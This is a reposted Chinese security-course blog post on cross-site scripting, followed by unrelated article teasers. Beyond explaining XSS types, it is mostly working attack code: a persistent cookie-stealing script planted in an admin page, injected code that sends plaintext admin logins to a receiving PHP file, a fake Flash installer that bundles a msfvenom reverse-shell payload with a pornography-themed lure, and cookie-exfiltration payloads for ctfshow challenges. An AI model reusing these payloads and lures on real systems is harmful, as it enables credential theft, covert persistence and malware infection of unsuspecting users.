安全基础~通用漏洞4

文章目录

  • 知识补充
  • XSS跨站脚本
    • **原理**
    • **攻击类型**
    • XSS-后台植入Cookie&表单劫持
    • XSS-Flash钓鱼配合MSF捆绑上线
    • ctfshow XSS靶场练习

知识补充

SQL注入小迪讲解
文件上传小迪讲解
文件上传中间件解析

XSS跨站脚本

xss平台:
https://xss.pt/

原理

恶意攻击者往 Web 页面里插入恶意可执行网页脚本代码,当用户浏览该页之时,嵌入其中 Web 里面的脚本代码会被执行,从而可以达到攻击者盗取用户信息或其他侵犯用户安全隐私的目的。

攻击类型

1、反射型XSS(非持久型XSS)
又称非持久型XSS。之所以称为反射型XSS,执行代码从目标服务器通过错误信息、搜索结果等等方式“反射”回来:发出请求时,XSS代码出现在URL中,作为输入提交到服务器端,服务器端解析后响应,XSS代码随响应内容一起传回给浏览器,最后浏览器解析执行XSS代码。这个过程像一次反射,故叫反射型XSS。 而称为非持久型XSS,则是因为这种攻击方式具有一次性,由于代码注入的是一个动态产生的页面而不是永久的页面,因此这种攻击方式只在点击链接的时候才产生作用。

攻击者通过电子邮件等方式给别人发送带有恶意脚本代码参数的 URL,当 URL 地址被打开时,注入脚本被传输到目标服务器上,然后服务器将注入脚本“反射”到受害者的浏览器上,特有的恶意代码参数被 HTML 解析、执行。
反射型xss

2、存储型XSS(持久型XSS)
又称持久型XSS,攻击脚本将被永久地存放在目标服务器端(数据库,内存,文件系统等),下次请求目标页面时不用再提交XSS代码。

一般存在于 Form 表单提交等交互功能,如发帖留言,提交文本信息等,黑客利用的 XSS 漏洞,将内容经正常功能提交进入数据库持久保存,当前端页面获得后端从数据库中读出的注入代码时,恰好将其渲染执行。

存储型xss

3、DOM-based 型
客户端的脚本程序可以动态地检查和修改页面内容,而不依赖于服务器端的数据。例如客户端如从 URL 中提取数据并在本地执行,如果用户在客户端输入的数据包含了恶意的 JavaScript 脚本,而这些脚本没有经过适当的过滤和消毒,那么应用程序就可能受到 DOM-based XSS 攻击。需要特别注意以下的用户输入源 document.URL、 location.hash、 location.search、 document.referrer 等。

示例展示

  1. x接收到值会在页面中显示(反射型)。
    假如传输x的值改成JavaScript代码,就会出现弹窗:
    正常写法:http://127.0.0.1:8081/web/mysql/xss.php?x=12345
    弹窗写法:http://127.0.0.1:8081/web/mysql/xss.php?x=<script>alert(1)</script>

    eg
    查看源代码发现会插入到HTML页面中
    result

  2. 查看页面返回,有标签,标题等展示(存储型)eg
    逐一测试发现其在标签处进行css插入时会出现XSS
    eg
    result1
    发布出去之后,点击就会弹窗
    result2

  3. 传参时出现ks,检查发现它在title处有出现,测试是否具有XSS(反射型)

first
用</title>标签将其闭合,观察情况,发现其已经产生效果
second
直接用跨站语句执行,出现结果
result

  1. 平台:useragent.openadmintools.com

访问这个平台,可以发现他抓取了浏览器信息。从新进行访问,抓包,修改数据包UA头。
request
发送数据包
result

  1. 下订单,留言一般会在后台显示,前台进行留言,后台进行查看。这就形成了xss攻击
    submit

参考文章1
参考文章2

XSS-后台植入Cookie&表单劫持

条件:已取得相关web权限后 获取cookie的时候有时候会获取不全(phpsessid验证) 表单劫持可以得到一些权限维持,密文密码解密不了。可以通过他来获取明文账号密码。

已经取得了权限,要对后台的权限进行长期控制,可以借助xss盗取cookie,把他写入代码到登录成功文件,利用beef或xss平台实时监控Cookie等凭据实现权限维持 这种方法即使他把后台账号密码改了,也可以进行权限维持。(不会被后门工具识别。) 比如:登录的框页面http://127.0.0.1:8105/admin/login/login.php 登录成功后会跳转到http://127.0.0.1:8105/admin/index.php?lang=cn 我们就可以在登录成功的admin/index.php上进行操作,写入<sCRiPt sRC=//xss.pt/X8Vz></sCrIpT> 进行登录,然后就可以触发到相对应的代码。
result

可以观察到,他加载的数据包的内容
result

  • 这样,只要登录成功就能获取,就能进行实时控制。进行了权限维持。 但是有一些网站不采用cookie,即使获取到了,但是还是不能登录。 正常来讲,访问这个地址:http://127.0.0.1:8105/admin/index.php?lang=cn 进行抓包修改cookie: UM_distinctid=17f38be65b3495-049fe07b7f19bd-e726559-1fa400-17f38be65b4b7d; CNZZDATA1670348=cnzz_eid%3D674406514-1645919148-%26ntime%3D1645919148; coul=8; lastvisit=0%091645924524%09%2F; _ac_app_ua=a0540fb14f9cd9d34f; recordurl=%2Chttp%253A%252F%252F127.0.0.1%253A8105%252F%2Chttp%253A%252F%252F127.0.0.1%253A8105%252Fabout%252Fshow.php%253Flang%253Dcn%2526id%253D19%2Chttp%253A%252F%252F127.0.0.1%253A8105%252Fnews%252F%2Chttp%253A%252F%252F127.0.0.1%253A8105%252Fjob%252F%2Chttp%253A%252F%252F127.0.0.1%253A8105%252F%2Chttp%253A%252F%252F127.0.0.1%253A8105%252F%2Chttp%253A%252F%252F127.0.0.1%253A8105%252F%2Chttp%253A%252F%252F127.0.0.1%253A8105%252F; PHPSESSID=e8gt6fhf1ba01jln0m6t0ljni1
    answer

  • 但是返回包里明显还是登录不成功。 正确的cookie信息:UM_distinctid=17e46c24838315-027dd22377488f8-1262694a-144000-17e46c24839418; CNZZDATA3801251=cnzz_eid%3D1994470479-1641863151-%26ntime%3D1645228788; CNZZDATA1670348=cnzz_eid%3D1668791702-1645652947-%26ntime%3D1645652947; PHPSESSID=smd97a9vae15lsg0tf2claaoi3 可以得知他获取的cookie是不全的,或者说错误的。一般来说少了phpsessid (有防护)
    那么就来进行实时的获取明文账号密码,这样才能进行权限维持。需要一定的基础量,能读懂数据的传输流程。 那么现在观察一下这个网站的登录流程是怎样的。 登录地址http://127.0.0.1:8105/admin/login/login.php 找到想对应的代码段D:\phpstudy_pro\WWW\xss-MetInfo5.1.4\admin\login\login.php 抓取登录的数据包

    answer

  • 可以看到,他提交的数据包是给了login_check.php文件,也就是说,他的账号密码是发送给了login_check.php这个文件。 查看提交的数据

    answer

  • action=login&loginlang=login.php%3Flangset%3Dcn&login_name=admin&login_pass=admin&Submit=%E7%99%BB%E5%BD%95 再次观察login_check.php

    源码

  • 可以知道两个接受账号密码的变量: 接受账号: m e t i n f o a d m i n n a m e 接受密码: metinfo_admin_name 接受密码: metinfoadminname接受密码:metinfo_admin_pass 然后用到JavaScript语句来进行账号密码的发送,那么应该怎么构造JavaScript语句呢? 将账号发送到某个地方 语句构造:

    <script src="http://www.xiaodi8.com/get.php?user="账号"&pass"密码""></script>在某个地方来实现接收。get.php实现接收 构造payload: $up='<script src=http://127.0.0.1:8081/web/get.php?user='.$metinfo_admin_name.'&pass='.$metinfo_admin_pass.'></script>'; echo $up;
    

    修改
    在http://127.0.0.1:8081/web中穿件get.php代码。 get.php代码:

     <?php $u=$_GET['user']; $p=$_GET['pass']; $myfile=fopen("newfile.txt","a+"); fwrite($myfile,$u); fwrite($myfile,'|');fwrite($myfile,$p); fwrite($myfile,'\n');fclose($myfile); ?> 
    

    接收账号密码,写到newfile文件中
    然后尝试登录这个网站中,可以看到他尝试请求http://127.0.0.1:8081/web/get.php这个网站,把admin和password发送出去

    result

  • 在登录下输入的账号密码,就会发送到newfile中记录,这个时候就可以进行测试了。
    主要解决两个问题:
    1.cookie失败的时候(截取不到)。 2.取得一些权限,密码解密不了。

XSS-Flash钓鱼配合MSF捆绑上线

  • 条件:beef上线受控后或直接钓鱼(受害者爱看SESE) 1、生成后门,攻击是pc端的。 msfvenom -p windows/meterpreter/reverse_tcp LHOST=47.100.167.248 LPORT=1111 -f exe > flash.exe

    result

  • flash下载官方地址:https://www.flash.cn/ 我们构造的flash下载地址:http://127.0.0.1:8106/ (一般是构造一个比较逼真的网址。) 把后门放在D:\phpstudy_pro\WWW\web\目录上 打开构造好的地址,index.html文件,把立即下载这个地址改为后门下载地址:http://127.0.0.1:8081/web/flash.exe
    设计网站更改

  • 运行exe并且安装正常的文件,所以需要捆绑正常文件。 在官方网站下载一个正常的flash文件 正常文件:flashcenter_pp_ax_install_cn.exe 后门文件:flash.exe 把两个文件放在一起压缩。
    设计1
    选择高级,自解压选项,解压到c:\windows\temp
    设计2

  • 点击设置,进行配置
    设计3

  • 在确定,压缩为rar文件。然后再把文件名一改,改成flash_install.exe文件,修改图标。 用到Restorator2018_Full_1793_FIX工具。 把两个exe文件拖进去,然后把官方的图片导出。
    设计4

  • 然后导入到对应的文件中,启动msf监听: msfconsole use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 0.0.0.0 set lport 1111 run
    在这里插入图片描述

  • 那个别人是怎么访问你这个地址呢?
    1.通过xss beef来让浏览器自动访问下载后门,并且运行
    2.直接发给对方诱使他去访问。 通过发送消息,比如小迪与某主播瑟瑟画面流出:http://127.0.0.1:8081/web/诱惑.html 当访问想看的时候
    answer

  • 访问,直接跳转,然后配合后门上线
    result

  • 执行后门,上线完成
    result
    这一类遇到的问题:免杀问题(后门下载下来会遭到火绒等查杀)

xss漏洞小展现

ctfshow XSS靶场练习

ctfshow默认会有一个机器人去访问触发的跨站,flag一般都隐藏在cookie中。
参考文章

方法一:

利用xss平台生成链接:https://xss.pt/xss.php

result
不过平台好像不能用了
不能使用

方法二:

自动接收脚本
在自己的服务器上放一个PHP代码

# a.php
<?php$cookie = $_GET['cookie'];$log = fopen("cookie.txt", "a");fwrite($log, $cookie . "\n");fclose($log);
?>
<script>document.location.href='http://xxx/a.php?cookie='+document.cookie</script>

JavaScript的 document.cookie 将以字符串的方式返回所有的cookie,类型格式: cookie1=value; cookie2=value;

让控制太进行跳转访问window.location.href='http://xxx/a.php' 这样回车就会跳转到http://xxx/a.php

可以使用:http://ceye.io/ 网络安全工具,用于监控和跟踪网络流量,以便发现潜在的安全漏洞和攻击

XSS绕过总结参考

web 316

首先测试一下<script>alert(1)</script>,弹窗成功

注册过防火墙,利用http://ceye.io/ 网络安全工具
first

得到flag
<script>window.location.href='你的ceye地址/'+document.cookie</script>
<script>location.href='http://你的ceye地址/'+document.cookie</script>
<script>window.open('http://你的ceye地址/'+document.cookie)</script>

web 317-319简单过滤

  • 317过滤script
  • 318过滤img
  1. <body onload="window.location.href='http://xxx/a.php?1='+document.cookie"></body>
  2. xss平台的十六进制编码格式
    <iframe WIDTH=0 HEIGHT=0 srcdoc=。。。。。。。。。。&#60;&#115;&#67;&#82;&#105;&#80;&#116;&#32;&#115;&#82;&#67;&#61;&#34;&#104;&#116;&#116;&#112;&#115;&#58;&#47;&#47;&#120;&#115;&#115;&#46;&#112;&#116;&#47;&#48;&#115;&#116;&#52;&#34;&#62;&#60;&#47;&#115;&#67;&#114;&#73;&#112;&#84;&#62;>

web320-322-过滤空格

使用tab\反斜杠或/**/代替空格

web323-326-过滤iframe

  • web322、324过滤 ; 分号
  • web325过滤 . 点号
<body/onload="window.location.href='http://yours-ip/a.php?1='+document.cookie"></body>

eg:325
test
web327

收件人poster必须是admin,才能发送,什么原因,I don’t konw
发件人和信的内容填写xss payload即可

web328- js拿管理员cookie

参考

存在有登录,有注册。
注册之后登录,发现没有管理员权限,无法查看

first
second
third
在用户管理中,有账号密码等显示(这里不是管理员不让显示)
思路: 后台管理员有功能页面,能够查看注册用户的账号密码 如果我将注册的账号密码改为js代码,在管理员查看账号密码下会不会触发js代码么 触发了JavaScript代码,获取到管理员的cookie值,就可以进行用户的查看。

那么就注册一个JS
<script>window.location.href='http://fd35br.ceye.io/'+document.cookie</script>,显示注册成功
获取到PHPSESSID,直接在cookie中添加此内容
test
使用bp抓包,修改cookie,将sessid换成我们刚刚得到的id
second
third
result
web329- js拿管理员cookie失效

利用上一关得问题,不过拿到cookie之后就失效了,我们已经知道了flag出现的位置,直接获取网页源码的元素,过滤到该点即可
构造payload

<script> 
$('.laytable-cell-1-0-1').each(function(index,value){if(value.innerHTML.indexOf('ctf'+'show')>-1){window.location.href='http://你的ceye地址/'+value.innerHTML;} }); 
</script>

需要一次完成,后面的dacaiji就是flag
result
web330- xsrf

前端存在修改密码,且没有token,存在csrf
test
在修改密码时,抓包,发现存在一个api接口/api/change.php?p=123,此时修改的密码就是123
api
所以只要将注册内容可以跳转到该接口,使得admin访问,即可重置管理员密码为想要设置的内容。
<script>window.location.href='http://127.0.0.1/api/change.php?p=123';</script>
其中127.0…0.1是服务器本身地址

使用密码123登录admin用户,查看flag

web331- xsrf post

同样有修改密码的地方,但是是post提交数据,抓包分析
在 url/js/select.js 中存在 post json 方式修改密码请求的js代码

<script>$.ajax({url:'api/change.php',type:'post',data:{p:'123'}});</script>

修改管理员密码

web332-333

参考链接:https://blog.csdn.net/rfrder/article/details/114079028#t17

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://xiahunao.cn/news/2776245.html

如若内容造成侵权/违法违规/事实不符,请联系瞎胡闹网进行投诉反馈,一经查实,立即删除!

相关文章

Qlik Sense : where exists

什么是Exists函数 Exists() 用于确定是否已经将特定字段值加载到数据加载脚本中的字段。此函数用于返回 TRUE 或 FALSE&#xff0c;这样它可以用于 LOAD 语句或 IF 语句中的 where 子句。 信息注释您也可使用 Not Exists() 来确定是否尚未加载字段值&#xff0c;但是如果要在…

那些 C语言指针 你不知道的小秘密 (3)

本篇会加入个人的所谓‘鱼式疯言’ ❤️❤️❤️鱼式疯言:❤️❤️❤️此疯言非彼疯言 而是理解过并总结出来通俗易懂的大白话, 我会尽可能的在每个概念后插入鱼式疯言,帮助大家理解的. &#x1f92d;&#x1f92d;&#x1f92d;可能说的不是那么严谨.但小编初心是能让更多人能…

正版软件 - Proxyman:让网络调试变得更智能、更高效

在软件开发的世界里&#xff0c;网络调试一直是开发者和测试工程师的痛点。传统的调试工具往往操作复杂&#xff0c;界面不够直观&#xff0c;而且性能上也难以满足现代应用的需求。今天&#xff0c;我要向大家介绍一款名为Proxyman的网络调试工具&#xff0c;它以其简洁的界面…

ssm+vue的医药垃圾分类管理系统(有报告)。Javaee项目,ssm vue前后端分离项目。

演示视频&#xff1a; ssmvue的医药垃圾分类管理系统&#xff08;有报告&#xff09;。Javaee项目&#xff0c;ssm vue前后端分离项目。 项目介绍&#xff1a; 采用M&#xff08;model&#xff09;V&#xff08;view&#xff09;C&#xff08;controller&#xff09;三层体系结…

C语言笔试题之两数相加(多次反转链表实现)

实例要求&#xff1a; 1、给定两个非空链表&#xff08;l1和l2&#xff09;来代表两个非负整数&#xff1b;2、数字最高位位于链表开始位置&#xff1b;3、它们的每个节点只存储一位数字&#xff1b;4、将这两数相加会返回一个新的链表&#xff1b; 案例展示&#xff1a; 实例…

MySQL学习记录——칠 表操作

文章目录 1、了解2、创建和插入1、基本创建和插入2、插入并更新on duplicate3、插入并替换replace 3、Retrieve1、查询select2、条件查询where3、结果排序order by4、限制行数limit 4、更新Update5、删除delete6、去重7、聚合函数&#xff08;5个&#xff09;1、count2、sum3、…

【蓝桥杯单片机记录】IO基础与LED控制

目录 一、IO基础 1.1 IAP15F2K61S2芯片原理图 1.2不同工作模式 二、新建工程的一些补充 2.1 keil中没有IAP15F2K61S2的头文件 解决&#xff1a;在isp软件中找到如下​编辑 2.2keil中的芯片选择 2.3推荐字体 三、sbit关键字 四、LED控制 4.1原理图 4.2不能直接通过IO…

Token、Tokenization 和张量之间的关系

输入经过Tokenization、Embedding和Positional Encoding后&#xff0c;最终构建为张量&#xff0c;给后续的计算和处理带来很多优势。 1. tokenization和张量 在自然语言处理&#xff08;NLP&#xff09;领域中&#xff0c;tokenization 是文本预处理的重要步骤之一&#xff0…

【漏洞复现】SpringBlade export-user接口存在SQL注入漏洞

漏洞描述 SpringBlade 是一个由商业级项目升级优化而来的微服务架构 采用Spring Boot 2.7 、Spring Cloud 2021 等核心技术构建,完全遵循阿里巴巴编码规范。提供基于React和Vue的两个前端框架用于快速搭建企业级的SaaS多租户微服务平台。SpringBlade export-user接口存在SQL注…

【踏雪无痕的痕一】——认知的心病

目录 一、背景介绍二、思路&方案三、过程1.教育是最大的"炸片"2.逻辑对等性的认知(时间的保证)3.不要去猜一个人怎么想&#xff0c;要看一个人怎么做4.改变一个人的基础5.你想过和你能过上什么生活完全取决于你自己 四、总结 一、背景介绍 大多数人都只愿意看到…

Blazor Wasm Google 登录

目录: OpenID 与 OAuth2 基础知识Blazor wasm Google 登录Blazor wasm Gitee 码云登录Blazor SSR/WASM IDS/OIDC 单点登录授权实例1-建立和配置IDS身份验证服务Blazor SSR/WASM IDS/OIDC 单点登录授权实例2-登录信息组件wasmBlazor SSR/WASM IDS/OIDC 单点登录授权实例3-服务端…

给大家拜年啦!最全科研资料,新年促销优惠!机器学习预测全家桶/故障诊断全家桶/改进算法/Python,Matlab代码...

最近后台有不少小伙伴问到&#xff0c;新年有没有什么优惠价&#xff0c;您这也不搞个活动吗&#xff01; 本期作者郑重推出几个比较受欢迎的全家桶&#xff01;一律7折优惠&#xff01;每个商品仅限5次购买机会&#xff0c;也就是说&#xff0c;满5个人后&#xff0c;该商品会…

Stable Diffusion 模型下载:GhostMix(幽灵混合)

文章目录 模型介绍生成案例案例一案例二案例三案例四案例五案例六案例七案例八案例九案例十 下载地址 模型介绍 GhostMix 是绝对让你惊艳的模型&#xff0c;也是自己认为现在最强的2.5D模型。我认为模型的更新应该是基于现有的画面整体不大变的前提下&#xff0c;提高模型的成…

使用Arcgis裁剪

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 前言一、掩膜提取二、随意裁剪三、裁剪 前言 因为从网站下载的是全球气候数据&#xff0c;而我们需要截取成中国部分&#xff0c;需要用到Arcgis的裁剪工具 一、掩…

零基础学Python(9)— 流程控制语句(下)

前言&#xff1a;Hello大家好&#xff0c;我是小哥谈。流程控制语句是编程语言中用于控制程序执行流程的语句&#xff0c;本节课就带大家认识下Python语言中常见的流程控制语句&#xff01;~&#x1f308; 目录 &#x1f680;1.while循环 &#x1f680;2.for循环 &#x1…

嵌入式中SolidWorks2022 安装教程

软件介绍 SolidWorks是一款专业的三维3D设计软件&#xff0c;功能强悍&#xff0c;支持分布式数据管理&#xff0c;支持直接处理网格数据&#xff0c;提供更多的数据的灵活性&#xff0c;使用起来高效便捷。可以帮助用户轻松进行3D CAD设计、机械设计、钣金设计、模拟设计、电气…

[CUDA手搓]从零开始用C++ CUDA搭建一个卷积神经网络(LeNet),了解神经网络各个层背后算法原理

文章目录 前言一、所需环境二、实现思路2.1. 定义了LeNet网络模型结构&#xff0c;并训练了20次2.2 以txt格式导出训练结果(模型的各个层权重偏置等参数)2.3 (可选)以pth格式导出训练结果&#xff0c;以方便后期调试2.4 C CUDA要做的事 三、C CUDA具体实现3.1 新建.cu文件并填好…

Android SDK 上传 Maven 喂奶级教程

最近领导给安排了个任务&#xff0c;让我把我们现有的一个 SDK 上传到 Maven 上去&#xff0c;方便客户直接用 gradle 依赖&#xff0c;不再需要拷贝 jar 和 so 了&#xff0c;此前我也看过一些相关的文章我想问题也不大&#xff0c;觉得工作量也就一两天的事情&#xff0c;主要…

Peter算法小课堂—枚举优化

哈哈哈&#xff0c;新年快乐&#xff01;这一次Peter将要给大家讲一讲轻松、摆烂的算法—枚举&#xff01;咋就是说呀&#xff0c;枚举这个玩意我语法就会了。但大家想想&#xff0c;咱们CSP考试时&#xff08;除了没过初赛的&#xff09;只给1秒&#xff0c;大家想想&#xff…

STM32Cubmax AD采集

一、基本概念 二、项目 AD函数结构体 typedef struct { uint32_t Mode; // ADC 工作模式选择 FunctionalState ScanConvMode; /* ADC 扫描&#xff08;多通道&#xff09; 或者单次&#xff08;单通道&#xff09;模式选择 */ FunctionalState ContinuousConvMode; // ADC 单…